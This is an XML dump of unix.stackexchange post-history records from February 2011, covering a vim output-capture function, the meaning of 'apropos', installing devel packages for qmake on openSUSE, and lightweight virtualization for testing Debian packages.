  <row Id="19507" PostHistoryTypeId="5" PostId="8293" RevisionGUID="f4967b63-bda2-4030-84a0-d85da0b21b48" CreationDate="2011-02-27T16:55:56.270" UserId="591" Comment="added 73 characters in body" Text="Date is a command line utility for printing or setting the date and time." />
  <row Id="19508" PostHistoryTypeId="24" PostId="8293" RevisionGUID="f4967b63-bda2-4030-84a0-d85da0b21b48" CreationDate="2011-02-27T16:55:56.270" Comment="Proposed by 591 approved by 885 edit id of 164" />
  <row Id="19509" PostHistoryTypeId="2" PostId="8295" RevisionGUID="a0d27972-6123-4f90-b71c-50a89e38a4f6" CreationDate="2011-02-27T16:58:21.220" UserId="1131" Text="I am nominating myself because nominating others is not possible. &#xD;&#xA;&#xD;&#xA;Look at my questions, answers and comments to get an idea of my activities at &#xD;&#xA;unix.stackexchange.&#xD;&#xA;&#xD;&#xA;Until now I am not active at the meta page - but perhaps this will change if&#xD;&#xA;there is a need.&#xD;&#xA;&#xD;&#xA;I agree with xenoterracide that cross-plattform related questions are on-topic &#xD;&#xA;here. I want to help that unix.stackexchange keeps as open as possible to&#xD;&#xA;Unix/Linux related questions." />
  <row Id="19510" PostHistoryTypeId="2" PostId="8296" RevisionGUID="5c6bf668-b78d-4248-b31c-96cb8c74790c" CreationDate="2011-02-27T17:22:33.007" UserId="1535" Text="If you want to insert the output of a vim *command* (as opposed to the *return value of a function call*), you have to capture it.  This is accomplished via the `:redir` command, which allows you to redirect vim's equivalent of standard output into a variable, file, register, or other target.&#xD;&#xA;&#xD;&#xA;`:redir` is sort of painfully inconvenient to use; I would write a function to encapsulate its functionality in a more convenient way, something like&#xD;&#xA;&#xD;&#xA;    funct! Exec(command)&#xD;&#xA;        redir =&gt;output&#xD;&#xA;        silent exec a:command&#xD;&#xA;        redir END&#xD;&#xA;        return output&#xD;&#xA;    endfunct!&#xD;&#xA;&#xD;&#xA;Once you've declared such a function, you can use the expression register (as explained by Chris Johnsen) to insert the output of a command at the cursor position.  So, from normal mode, hit `i^R=Exec('ls')` to insert the list of vim's current buffers.&#xD;&#xA;&#xD;&#xA;Be aware that the command will execute in the function namespace, so if you use a global variable you will have to explicitly namespace it by prefixing it with `g:`.  It will also append a terminating newline to even one-line output.  You might want to add a call to `substitute()` in the function to avoid this.&#xD;&#xA;&#xD;&#xA;Also see http://stackoverflow.com/questions/2573021/vim-how-to-redirect-ex-command-output-into-current-buffer-or-file/2573054#2573054 for more blathering on about `redir` and a link to a related command." />
  <row Id="19511" PostHistoryTypeId="25" PostId="8287" RevisionGUID="9cc3f7e4-f6d3-46e5-b1ab-965d2b76923c" CreationDate="2011-02-27T17:23:29.870" Comment="http://twitter.com/#!/StackUnix/status/41911310614671360" />
  <row Id="19512" PostHistoryTypeId="5" PostId="8296" RevisionGUID="fafab40d-0568-4387-b0b8-a1c87cc3f4a0" CreationDate="2011-02-27T17:28:03.813" UserId="1535" Comment="Clarified newline caveat" Text="If you want to insert the output of a vim *command* (as opposed to the *return value of a function call*), you have to capture it.  This is accomplished via the `:redir` command, which allows you to redirect vim's equivalent of standard output into a variable, file, register, or other target.&#xD;&#xA;&#xD;&#xA;`:redir` is sort of painfully inconvenient to use; I would write a function to encapsulate its functionality in a more convenient way, something like&#xD;&#xA;&#xD;&#xA;    funct! Exec(command)&#xD;&#xA;        redir =&gt;output&#xD;&#xA;        silent exec a:command&#xD;&#xA;        redir END&#xD;&#xA;        return output&#xD;&#xA;    endfunct!&#xD;&#xA;&#xD;&#xA;Once you've declared such a function, you can use the expression register (as explained by Chris Johnsen) to insert the output of a command at the cursor position.  So, from normal mode, hit `i^R=Exec('ls')` to insert the list of vim's current buffers.&#xD;&#xA;&#xD;&#xA;Be aware that the command will execute in the function namespace, so if you use a global variable you will have to explicitly namespace it by prefixing it with `g:`.  Also note that `Exec()`, as written above, will append a terminating newline to even one-line output.  You might want to add a call to `substitute()` into the function to avoid this.&#xD;&#xA;&#xD;&#xA;Also see http://stackoverflow.com/questions/2573021/vim-how-to-redirect-ex-command-output-into-current-buffer-or-file/2573054#2573054 for more blathering on about `redir` and a link to a related command." />
  <row Id="19513" PostHistoryTypeId="2" PostId="8297" RevisionGUID="29df999e-a0f5-49f0-aae3-585e5bc3da57" CreationDate="2011-02-27T18:07:00.013" UserId="5180" Text="Does any one here tried the Plan 9 by bell-labs which is a successor to Unix[according to [wikipedia][1]] if yes how was your experience.?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://secure.wikimedia.org/wikipedia/en/wiki/Plan_9_from_Bell_Labs" />
  <row Id="19514" PostHistoryTypeId="1" PostId="8297" RevisionGUID="29df999e-a0f5-49f0-aae3-585e5bc3da57" CreationDate="2011-02-27T18:07:00.013" UserId="5180" Text="Any one here used Plan9" />
  <row Id="19515" PostHistoryTypeId="3" PostId="8297" RevisionGUID="29df999e-a0f5-49f0-aae3-585e5bc3da57" CreationDate="2011-02-27T18:07:00.013" UserId="5180" Text="éunixà" />
  <row Id="19516" PostHistoryTypeId="10" PostId="8297" RevisionGUID="ebeb0fa6-38aa-484a-8d34-5da368b55950" CreationDate="2011-02-27T18:20:42.200" UserId="73" CloseReasonId="3" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="19524" PostHistoryTypeId="2" PostId="8299" RevisionGUID="18321720-fe07-476e-8b3f-eccb73f1bf1c" CreationDate="2011-02-27T19:26:23.593" UserId="912" Text="Apropos is a tool to search the headers of the man pages for a string.&#xD;&#xA;&#xD;&#xA;What does the name **apropos** mean?" />
  <row Id="19525" PostHistoryTypeId="1" PostId="8299" RevisionGUID="18321720-fe07-476e-8b3f-eccb73f1bf1c" CreationDate="2011-02-27T19:26:23.593" UserId="912" Text="What does the name of the unix command apropos mean?" />
  <row Id="19526" PostHistoryTypeId="3" PostId="8299" RevisionGUID="18321720-fe07-476e-8b3f-eccb73f1bf1c" CreationDate="2011-02-27T19:26:23.593" UserId="912" Text="élinuxàébashà" />
  <row Id="19527" PostHistoryTypeId="2" PostId="8300" RevisionGUID="534f6679-105a-4b7d-9a03-d5b9cddb9795" CreationDate="2011-02-27T19:30:30.840" UserId="305" Text="I always thought it is from [à propos][1] meaning &quot;in connection, concerning, with regard, in reference&quot;.&#xD;&#xA;&#xD;&#xA;**Edit**: Apparently there is also word apropos and à propos meaning the same which are derived from French à propos.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wiktionary.org/wiki/%C3%A0_propos" />
  <row Id="19528" PostHistoryTypeId="2" PostId="8301" RevisionGUID="6b5c5972-da35-47d6-a22c-90da62bb56e7" CreationDate="2011-02-27T19:31:09.160" UserId="1338" Text="    ap·ro·pos&#xD;&#xA;       /ˌæprəˈpoʊ/ Show Spelled[ap-ruh-poh] Show IPA&#xD;&#xA;    –adverb&#xD;&#xA;    1.&#xD;&#xA;    fitting; at the right time; to the purpose; opportunely.&#xD;&#xA;    2.&#xD;&#xA;    Obsolete . by the way.&#xD;&#xA;    –adjective&#xD;&#xA;    3.&#xD;&#xA;    opportune; pertinent: apropos remarks.&#xD;&#xA;    —Idiom&#xD;&#xA;    4.&#xD;&#xA;    apropos of, with reference to; in respect or regard to: apropos of the preceding statement.&#xD;&#xA;&#xD;&#xA;Definition #4 is where the unix command stems from.  The results returned are *in reference to* the input argument." />
  <row Id="19529" PostHistoryTypeId="5" PostId="8276" RevisionGUID="ccc65e3d-087a-4959-8322-220bd8b05fc4" CreationDate="2011-02-27T20:06:55.290" UserId="272" Comment="oops" Text="The /proc filesystem is a so-called &quot;pseudo filesystem&quot;, meaning that (afaiu) there is no spoon^H^H^Hdisk. &#xD;&#xA;&#xD;&#xA;I'm not quite sure how this works at the lowest level, so I may be wrong, but here goes. If I run&#xD;&#xA;&#xD;&#xA;    f = open('/proc/meminfo')&#xD;&#xA;    f.read()&#xD;&#xA;    f.seek(0)&#xD;&#xA;    f.read()&#xD;&#xA;&#xD;&#xA;I get two different outputs. Afaik, seek(0) only resets the read offset and it doesn't re-open the file. This suggests that re-reading a file is enough to get the new values.&#xD;&#xA;&#xD;&#xA;That said, if you are developing for Linux, getting permanent access to Linux box seems a pretty logical thing to do...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19530" PostHistoryTypeId="5" PostId="8299" RevisionGUID="9b7e97bf-277b-42ef-ad8a-67cc98e3ed8f" CreationDate="2011-02-27T20:17:25.643" UserId="912" Comment="added 61 characters in body" Text="[Apropos][1] is a tool to search the headers of the man pages for a string.&#xD;&#xA;&#xD;&#xA;What does the name **apropos** mean?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Apropos_(Unix)" />
  <row Id="19531" PostHistoryTypeId="25" PostId="8299" RevisionGUID="165b2fe4-cc78-4fb3-ba79-a88c1f457cc6" CreationDate="2011-02-27T20:23:30.533" Comment="http://twitter.com/#!/StackUnix/status/41956611706720256" />
  <row Id="19533" PostHistoryTypeId="2" PostId="8303" RevisionGUID="509a7f98-286f-4ebc-babd-da587b493495" CreationDate="2011-02-27T21:16:37.253" UserId="2333" Text="I'm trying to compile some software ([FocusWriter][1]) on openSUSE 11.3, (linux 2.6.34.7-0.5-desktop). (I can't find an actual download link to the alleged openSUSE RPM...just lots of metadata about the RPMs). So I unpacked the source from git, and, following instructions, ran `qmake`. I get this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;Package ao was not found in the pkg-config search path.&#xD;&#xA;Perhaps you should add the directory containing `ao.pc'&#xD;&#xA;to the PKG_CONFIG_PATH environment variable&#xD;&#xA;No package 'ao' found&#xD;&#xA;Package hunspell was not found in the pkg-config search path.&#xD;&#xA;Perhaps you should add the directory containing `hunspell.pc'&#xD;&#xA;to the PKG_CONFIG_PATH environment variable&#xD;&#xA;No package 'hunspell' found&#xD;&#xA;Package libzip was not found in the pkg-config search path.&#xD;&#xA;Perhaps you should add the directory containing `libzip.pc'&#xD;&#xA;to the PKG_CONFIG_PATH environment variable&#xD;&#xA;No package 'libzip' found&#xD;&#xA;Package ao was not found in the pkg-config search path.&#xD;&#xA;Perhaps you should add the directory containing `ao.pc'&#xD;&#xA;to the PKG_CONFIG_PATH environment variable&#xD;&#xA;No package 'ao' found&#xD;&#xA;Package hunspell was not found in the pkg-config search path.&#xD;&#xA;Perhaps you should add the directory containing `hunspell.pc'&#xD;&#xA;to the PKG_CONFIG_PATH environment variable&#xD;&#xA;No package 'hunspell' found&#xD;&#xA;Package libzip was not found in the pkg-config search path.&#xD;&#xA;Perhaps you should add the directory containing `libzip.pc'&#xD;&#xA;to the PKG_CONFIG_PATH environment variable&#xD;&#xA;No package 'libzip' found&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I know that all those packages are in fact installed, according to both YaST and zypper. `/usr/lib64/` contains files such as libao.20.2 and libzip.so.1 and libzip.so.1.0.0 -- but nowhere on the harddrive can I find anything called ao.pc, hunspell.pc, or libzip.pc.&#xD;&#xA;&#xD;&#xA;Any suggestions what I'm missing here?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;  [1]: http://gottcode.org/focuswriter/" />
  <row Id="19534" PostHistoryTypeId="1" PostId="8303" RevisionGUID="509a7f98-286f-4ebc-babd-da587b493495" CreationDate="2011-02-27T21:16:37.253" UserId="2333" Text="qmake looking for lib files named *.pc" />
  <row Id="19535" PostHistoryTypeId="3" PostId="8303" RevisionGUID="509a7f98-286f-4ebc-babd-da587b493495" CreationDate="2011-02-27T21:16:37.253" UserId="2333" Text="éinstallàélibrariesà" />
  <row Id="19536" PostHistoryTypeId="2" PostId="8304" RevisionGUID="85049a4f-e10c-4799-a885-778b17cd7d68" CreationDate="2011-02-27T21:24:01.713" UserId="3169" Text="You have the user libraries installed, but you also need to install the developer libraries and header files.&#xD;&#xA;&#xD;&#xA;Taking `ao` as an example:&#xD;&#xA;&#xD;&#xA;The normal user package includes files like:&#xD;&#xA;&#xD;&#xA;    /usr/lib/libao.so.4.0.0&#xD;&#xA;    /usr/lib/libao.so.4&#xD;&#xA;&#xD;&#xA;whereas the developer package include files like:&#xD;&#xA;&#xD;&#xA;    /usr/include/ao/ao.h&#xD;&#xA;    /usr/include/ao/os_types.h&#xD;&#xA;    /usr/include/ao/plugin.h&#xD;&#xA;    /usr/lib/pkgconfig/ao.pc&#xD;&#xA;&#xD;&#xA;And it's the second set of files you're missing.&#xD;&#xA;&#xD;&#xA;I'm not familiar with SUSE's YaST2, but the commands should look something like `yast2 --install libao-devel`.&#xD;&#xA;&#xD;&#xA;One way to double check the name of the RPM to install is to go to [rpmfind.net][1] and paste one of the missing file names in, e.g. `/usr/lib/pkgconfig/ao.pc`.  It will give you a [list of RPMs][2]: look for the OpenSUSE 11.3 one and use that name when running `yast2 --install`.&#xD;&#xA;&#xD;&#xA;  [1]: http://rpmfind.net/&#xD;&#xA;  [2]: http://rpmfind.net/linux/rpm2html/search.php?query=/usr/lib/pkgconfig/ao.pc&amp;submit=Search+..." />
  <row Id="19537" PostHistoryTypeId="6" PostId="8303" RevisionGUID="5127ef52-8152-4500-bb78-92bc4f688e2e" CreationDate="2011-02-27T21:25:33.070" UserId="885" Comment="edited tags" Text="éinstallàécompilingàélibrariesà" />
  <row Id="19538" PostHistoryTypeId="5" PostId="8304" RevisionGUID="30d5ef4c-f759-4798-9f40-e36e8423063c" CreationDate="2011-02-27T21:33:41.847" UserId="3169" Comment="added 53 characters in body" Text="You have the user libraries installed, but you also need to install the developer libraries and header files.&#xD;&#xA;&#xD;&#xA;Taking `ao` as an example:&#xD;&#xA;&#xD;&#xA;The normal user package includes files like:&#xD;&#xA;&#xD;&#xA;    /usr/lib/libao.so.4.0.0&#xD;&#xA;    /usr/lib/libao.so.4&#xD;&#xA;&#xD;&#xA;whereas the developer package include files like:&#xD;&#xA;&#xD;&#xA;    /usr/include/ao/ao.h&#xD;&#xA;    /usr/include/ao/os_types.h&#xD;&#xA;    /usr/include/ao/plugin.h&#xD;&#xA;    /usr/lib/pkgconfig/ao.pc&#xD;&#xA;&#xD;&#xA;And it's the second set of files you're missing.&#xD;&#xA;&#xD;&#xA;I'm not familiar with SUSE's YaST2, but the commands should look something like  &#xD;&#xA;`yast2 --install libao-devel`.&#xD;&#xA;&#xD;&#xA;And the same for the other packages of course.&#xD;&#xA;&#xD;&#xA;One way to double check the name of the RPM to install is to go to [rpmfind.net][1] and paste one of the missing file names in, e.g. `/usr/lib/pkgconfig/ao.pc`.  It will give you a [list of RPMs][2]: look for the OpenSUSE 11.3 one and use that name when running `yast2 --install`.&#xD;&#xA;&#xD;&#xA;  [1]: http://rpmfind.net/&#xD;&#xA;  [2]: http://rpmfind.net/linux/rpm2html/search.php?query=/usr/lib/pkgconfig/ao.pc&amp;submit=Search+..." />
  <row Id="19539" PostHistoryTypeId="5" PostId="8304" RevisionGUID="a53a71ea-2d6c-433d-a7fe-11ee4cd39d1a" CreationDate="2011-02-27T21:43:37.757" UserId="3169" Comment="added 387 characters in body; added 569 characters in body" Text="You have the user libraries installed, but you also need to install the developer libraries and header files.&#xD;&#xA;&#xD;&#xA;Taking `ao` as an example:&#xD;&#xA;&#xD;&#xA;The normal user package includes files like:&#xD;&#xA;&#xD;&#xA;    /usr/lib/libao.so.4.0.0&#xD;&#xA;    /usr/lib/libao.so.4&#xD;&#xA;&#xD;&#xA;whereas the developer package include files like:&#xD;&#xA;&#xD;&#xA;    /usr/include/ao/ao.h&#xD;&#xA;    /usr/include/ao/os_types.h&#xD;&#xA;    /usr/include/ao/plugin.h&#xD;&#xA;    /usr/lib/pkgconfig/ao.pc&#xD;&#xA;&#xD;&#xA;And it's the second set of files you're missing.&#xD;&#xA;&#xD;&#xA;I'm not familiar with SUSE's YaST2, but the commands should look something like  &#xD;&#xA;`yast2 --install libao-devel`.&#xD;&#xA;&#xD;&#xA;And the same for the other packages of course.&#xD;&#xA;&#xD;&#xA;One way to double check the name of the RPM to install is to go to [rpmfind.net][1] and paste one of the missing file names in, e.g. `/usr/lib/pkgconfig/ao.pc`.  It will give you a [list of RPMs][2]: look for the OpenSUSE 11.3 one and use that name when running `yast2 --install`.&#xD;&#xA;&#xD;&#xA;  [1]: http://rpmfind.net/&#xD;&#xA;  [2]: http://rpmfind.net/linux/rpm2html/search.php?query=/usr/lib/pkgconfig/ao.pc&amp;submit=Search+...&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;According to [Using zypper to determine what package contains a certain file][3], you can use `zypper` rather than needing to use rpmfind.net.&#xD;&#xA;&#xD;&#xA;Try this:&#xD;&#xA;&#xD;&#xA;    zypper wp ao.pc&#xD;&#xA;&#xD;&#xA;(untested)&#xD;&#xA;&#xD;&#xA;Also, on an RPM-based system, you might find it better to try searching for an RPM `.spec` file, and build using that.&#xD;&#xA;&#xD;&#xA;I found a [focuswriter spec file][4] on the OpenSUSE web site.&#xD;&#xA;&#xD;&#xA;Then if you build using `rpmbuild`, it should give you an error telling you which packages you still need to install so you can build it.&#xD;&#xA;&#xD;&#xA;This also has the advantage of giving you an RPM you can easily install, upgrade, and uninstall, which uses the SUSE recommended build options.&#xD;&#xA;&#xD;&#xA;  [3]: http://forums.opensuse.org/english/get-technical-help-here/how-faq-forums/unreviewed-how-faq/447545-how-using-zypper-determine-what-package-contains-certain-file.html&#xD;&#xA;  [4]: https://build.opensuse.org/package/files?package=focuswriter&amp;project=home:gottcode&#xD;&#xA;" />
  <row Id="19540" PostHistoryTypeId="2" PostId="8305" RevisionGUID="c8897bfc-ce0d-4808-b728-43aa9fa2ba43" CreationDate="2011-02-27T22:58:28.667" UserId="5184" Text="On Debian Stable, I would like to be able to create a new instance of the OS, use apt-get to install some Unstable packages with dependencies, then cleanly delete the whole thing when I'm done. VirtualBox or QEMU would work, but Xen/KVM/LXC seem to be lighter and faster. How do they compare for this use?" />
  <row Id="19541" PostHistoryTypeId="1" PostId="8305" RevisionGUID="c8897bfc-ce0d-4808-b728-43aa9fa2ba43" CreationDate="2011-02-27T22:58:28.667" UserId="5184" Text="Xen/KVM/LXC for testing packages" />
  <row Id="19542" PostHistoryTypeId="3" PostId="8305" RevisionGUID="c8897bfc-ce0d-4808-b728-43aa9fa2ba43" CreationDate="2011-02-27T22:58:28.667" UserId="5184" Text="édebianàékvmàéxenà" />
  <row Id="19543" PostHistoryTypeId="2" PostId="8306" RevisionGUID="5df3e084-d200-4e96-9267-d4997ab57877" CreationDate="2011-02-27T23:01:14.757" UserId="2729" Text="The Unix filesystem is a single hierarchy, which Linux represents with its VFS subsystem. You mount filesystems on some nodes of the tree, for example when you plug a usb key. When you try to read a file the VFS looks which filesystem is mounted here, and forwards the request to the appropriate module. Some of the filesystems are backed by disk io, some represent kernel datastructures (/proc, /sys, debugfs, cgroups…), some are network based, some are memory-based (tmpfs), some are implemented in userland via FUSE, and can be backed by crazy stuff like databases, VCSes, ssh, archives and so on." />
  <row Id="19544" PostHistoryTypeId="2" PostId="8307" RevisionGUID="c7bf7a31-aea1-4a77-80cf-ac955ae459e0" CreationDate="2011-02-27T23:14:12.800" UserId="885" Text="For this kind of use, I'd go with a specialized Linux-on-Linux vm technology: [OpenVZ](http://en.wikipedia.org/wiki/OpenVZ), [user-mode Linux](http://en.wikipedia.org/wiki/User_mode_Linux) or [Vserver](http://en.wikipedia.org/wiki/Linux-VServer).&#xD;&#xA;&#xD;&#xA;You could even use a chrooted installation. The [schroot](http://packages.debian.org/squeeze/schroot) package is [convenient for this](http://www.debian-administration.org/articles/566).&#xD;&#xA;" />
  <row Id="19545" PostHistoryTypeId="6" PostId="8305" RevisionGUID="d9788231-f4f7-48e9-b373-5d8f0afacdfc" CreationDate="2011-02-27T23:14:34.560" UserId="885" Comment="edited tags" Text="élinuxàédebianàévirtualömachineà" />
  <row Id="19546" PostHistoryTypeId="25" PostId="8305" RevisionGUID="3b3f33a9-7234-42d2-a1d9-6caad6709a60" CreationDate="2011-02-27T23:23:30.423" Comment="http://twitter.com/#!/StackUnix/status/42001909988589568" />
  <row Id="19547" PostHistoryTypeId="5" PostId="8307" RevisionGUID="d5577898-0c30-49bd-9088-b87691bc7b83" CreationDate="2011-02-27T23:27:05.633" UserId="885" Comment="added LXC to the list of Linux-on-linux vm technologies" Text="For this kind of use, I'd go with a specialized Linux-on-Linux virtual machine technology (as opposed to a more general technology such ax Xen, KVM, VirtualBox or Qemu):&#xD;&#xA;[LXC](http://en.wikipedia.org/wiki/LXC), [OpenVZ](http://en.wikipedia.org/wiki/OpenVZ), [user-mode Linux](http://en.wikipedia.org/wiki/User_mode_Linux), [Vserver](http://en.wikipedia.org/wiki/Linux-VServer)…&#xD;&#xA;&#xD;&#xA;You could even use a chrooted installation. The [schroot](http://packages.debian.org/squeeze/schroot) package is [convenient for this](http://www.debian-administration.org/articles/566).&#xD;&#xA;" />
  <row Id="19548" PostHistoryTypeId="2" PostId="8308" RevisionGUID="8cadfb6f-fc07-45b4-9986-e89eea9535b4" CreationDate="2011-02-27T23:36:50.997" UserId="-1" Text="" />
  <row Id="19549" PostHistoryTypeId="2" PostId="8309" RevisionGUID="d760dab7-11c7-4591-8ce9-858ca23e0e20" CreationDate="2011-02-27T23:36:50.997" UserId="-1" Text="" />
  <row Id="19550" PostHistoryTypeId="5" PostId="8309" RevisionGUID="ffeecfea-a2d8-4f00-8802-9a4d7102d9d8" CreationDate="2011-02-28T00:10:57.947" UserId="3635" Comment="added 135 characters in body" Text="Mono is an open source implementation of Microsoft's .NET Framework based on the ECMA standards for C# and the Common Language Runtime." />
  <row Id="19551" PostHistoryTypeId="24" PostId="8309" RevisionGUID="ffeecfea-a2d8-4f00-8802-9a4d7102d9d8" CreationDate="2011-02-28T00:10:57.947" Comment="Proposed by 3635 approved by 29 edit id of 165" />
  <row Id="19552" PostHistoryTypeId="2" PostId="8310" RevisionGUID="016b6fd4-2bb6-496a-a324-1818cfd04558" CreationDate="2011-02-28T00:24:57.163" UserId="2729" Text="If you just want to test dependencies, pbuilder (or cowbuilder, which adds COW and is slightly faster to launch), a chroot environment tuned for building packages, would work very well.&#xD;&#xA;&#xD;&#xA;If you want to handle untrusted packages, you'll need LXC or full virtualisation. LXC takes some configuration, but can be handled by libvirt if you want a high level of isolation; you still need to debootstrap it yourself as I recall. For full virtualisation, vmbuilder has a debian version that prepares and configures images. Since you don't need the flexibility of LXC, I recommend pbuilder or vmbuilder + kvm.&#xD;&#xA;" />
  <row Id="19554" PostHistoryTypeId="2" PostId="8312" RevisionGUID="1b12061f-eac1-4fa5-aed9-bbbb8c0f3cd7" CreationDate="2011-02-28T00:48:51.473" UserId="382" Text="On my system, **[`dict`][1]` apropos`** tells me:&#xD;&#xA;&#xD;&#xA;    2 definitions found&#xD;&#xA;    &#xD;&#xA;    From The Collaborative International Dictionary of English v.0.48 [gcide]:&#xD;&#xA;    &#xD;&#xA;      Apropos \Ap&quot;ro*pos`\ ([a^]p&quot;r[-o]*p[=o]`), a. &amp; adv. [F. [`a]&#xD;&#xA;         propos; [`a] (L. ad) + propos purpose, L. proposium plan,&#xD;&#xA;         purpose, fr. proponere to propose. See {Propound}.]&#xD;&#xA;         1. Opportunely or opportune; seasonably or seasonable.&#xD;&#xA;            [1913 Webster]&#xD;&#xA;    &#xD;&#xA;                  A tale extremely apropos.             --Pope.&#xD;&#xA;            [1913 Webster]&#xD;&#xA;    &#xD;&#xA;         2. By the way; to the purpose; suitably to the place or&#xD;&#xA;            subject; -- a word used to introduce an incidental&#xD;&#xA;            observation, suited to the occasion, though not strictly&#xD;&#xA;            belonging to the narration.&#xD;&#xA;            [1913 Webster]&#xD;&#xA;    &#xD;&#xA;    From WordNet (r) 3.0 (2006) [wn]:&#xD;&#xA;    &#xD;&#xA;      apropos&#xD;&#xA;          adv 1: at an opportune time; &quot;your letter arrived apropos&quot; [syn:&#xD;&#xA;                 {seasonably}, {timely}, {well-timed}, {apropos}]&#xD;&#xA;          2: introducing a different topic; in point of fact;&#xD;&#xA;             &quot;incidentally, I won't go to the party&quot; [syn: {by the way},&#xD;&#xA;             {by the bye}, {incidentally}, {apropos}]&#xD;&#xA;          adj 1: of an appropriate or pertinent nature [ant: {malapropos}]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dict.org/w/software/software" />
  <row Id="19555" PostHistoryTypeId="2" PostId="8313" RevisionGUID="25e048e6-62d4-4ce1-a947-754abf4c01ab" CreationDate="2011-02-28T00:58:21.223" UserId="5189" Text="In computing, apropos is a command to search the manual pages files in Unix and Unix-like operating systems." />
  <row Id="19556" PostHistoryTypeId="2" PostId="8314" RevisionGUID="f4a0d811-371a-4a58-80a0-1cf5d118192c" CreationDate="2011-02-28T01:25:55.520" UserId="5189" Text="In English apropos is a word that means appropriate or at an opportune time." />
  <row Id="19559" PostHistoryTypeId="5" PostId="8305" RevisionGUID="946392c9-565d-4da7-adfa-094ddce4c0fc" CreationDate="2011-02-28T01:49:33.460" UserId="5184" Comment="added 187 characters in body" Text="On Debian Stable, I would like to be able to create a new instance of the OS, use apt-get to install some Unstable packages with dependencies, then cleanly delete the whole thing when I'm done. VirtualBox or QEMU would work, but Xen/KVM/LXC seem to be lighter and faster. How do they compare for this use?&#xD;&#xA;&#xD;&#xA;Edit: To clarify, in this case, I want to set up to be able to install-use-remove dangerous things without messing up the base system. Looking for what would be most lightweight/fast." />
  <row Id="19560" PostHistoryTypeId="25" PostId="8303" RevisionGUID="2d3cfab5-c94c-4373-af02-e9f867cd5f86" CreationDate="2011-02-28T02:23:30.467" Comment="http://twitter.com/#!/StackUnix/status/42047208899608576" />
  <row Id="19561" PostHistoryTypeId="2" PostId="8315" RevisionGUID="3ade3e4d-dd23-4739-a24c-af49b1749aa2" CreationDate="2011-02-28T03:25:07.757" UserId="4520" Text="Your .zshrc may be modifying the DISPLAY variable, or modifying access to the screen.  Normally ssh-agent is started when you start gnome.  The variable SSH_AUTH_SOCK is set to the socket of your ssh-agent.  If this variable is set, then ssh-agent will try to open window to get the password for your key when it is needed.  &#xD;&#xA; &#xD;&#xA;If your display is not accessible you can use ssh-add to add the key from the command line. Do this after you reboot.  You also need to repeat this if your key ages out.&#xD;&#xA;" />
  <row Id="19562" PostHistoryTypeId="2" PostId="8316" RevisionGUID="8d192dd3-c565-4e1a-be37-116bed4399b8" CreationDate="2011-02-28T03:34:27.907" UserId="-1" Text="" />
  <row Id="19563" PostHistoryTypeId="2" PostId="8317" RevisionGUID="c225e42d-6c02-4bec-a74a-5e034d68b9a8" CreationDate="2011-02-28T03:34:27.907" UserId="-1" Text="" />
  <row Id="19564" PostHistoryTypeId="2" PostId="8318" RevisionGUID="5f12ac49-8894-4d8a-934d-b2b28e6d190f" CreationDate="2011-02-28T03:36:04.410" UserId="-1" Text="" />
  <row Id="19565" PostHistoryTypeId="2" PostId="8319" RevisionGUID="3b6da844-b717-40cc-8a56-0367a9e03eb4" CreationDate="2011-02-28T03:36:04.410" UserId="-1" Text="" />
  <row Id="19566" PostHistoryTypeId="2" PostId="8320" RevisionGUID="3154aae2-1527-4054-b9e9-9d9e370ac374" CreationDate="2011-02-28T03:37:46.313" UserId="-1" Text="" />
  <row Id="19567" PostHistoryTypeId="2" PostId="8321" RevisionGUID="3c60722f-972f-4f63-b79a-cd36b5ad38ac" CreationDate="2011-02-28T03:37:46.313" UserId="-1" Text="" />
  <row Id="19568" PostHistoryTypeId="2" PostId="8322" RevisionGUID="39e1d1e9-6f84-4f7f-95e5-dd8c11bb7ad3" CreationDate="2011-02-28T03:40:42.330" UserId="-1" Text="" />
  <row Id="19569" PostHistoryTypeId="2" PostId="8323" RevisionGUID="d9a959c2-9e9a-41bd-9617-d5ec064a6bc0" CreationDate="2011-02-28T03:40:42.330" UserId="-1" Text="" />
  <row Id="19570" PostHistoryTypeId="5" PostId="8319" RevisionGUID="df554e88-4dcc-4539-b8d1-1847c150ad9e" CreationDate="2011-02-28T04:03:48.710" UserId="3635" Comment="added 124 characters in body" Text="The use of Unix in embedded computer systems such as networking equipment, mobile phones, media players, set-top boxes, etc." />
  <row Id="19571" PostHistoryTypeId="24" PostId="8319" RevisionGUID="df554e88-4dcc-4539-b8d1-1847c150ad9e" CreationDate="2011-02-28T04:03:48.710" Comment="Proposed by 3635 approved by 73 edit id of 167" />
  <row Id="19572" PostHistoryTypeId="5" PostId="8321" RevisionGUID="a42d3aef-0b92-4c3c-a20a-5fa83abf9bba" CreationDate="2011-02-28T04:03:52.313" UserId="3635" Comment="added 51 characters in body" Text="man - format and display the on-line manual pages&#xD;&#xA;" />
  <row Id="19573" PostHistoryTypeId="24" PostId="8321" RevisionGUID="a42d3aef-0b92-4c3c-a20a-5fa83abf9bba" CreationDate="2011-02-28T04:03:52.313" Comment="Proposed by 3635 approved by 73 edit id of 168" />
  <row Id="19574" PostHistoryTypeId="5" PostId="8323" RevisionGUID="826dd1fe-4e53-4c9a-aaff-7c99fbe57e31" CreationDate="2011-02-28T04:03:57.417" UserId="3635" Comment="added 81 characters in body" Text="Open Source Software for running Windows applications on other operating systems." />
  <row Id="19575" PostHistoryTypeId="24" PostId="8323" RevisionGUID="826dd1fe-4e53-4c9a-aaff-7c99fbe57e31" CreationDate="2011-02-28T04:03:57.417" Comment="Proposed by 3635 approved by 73 edit id of 169" />
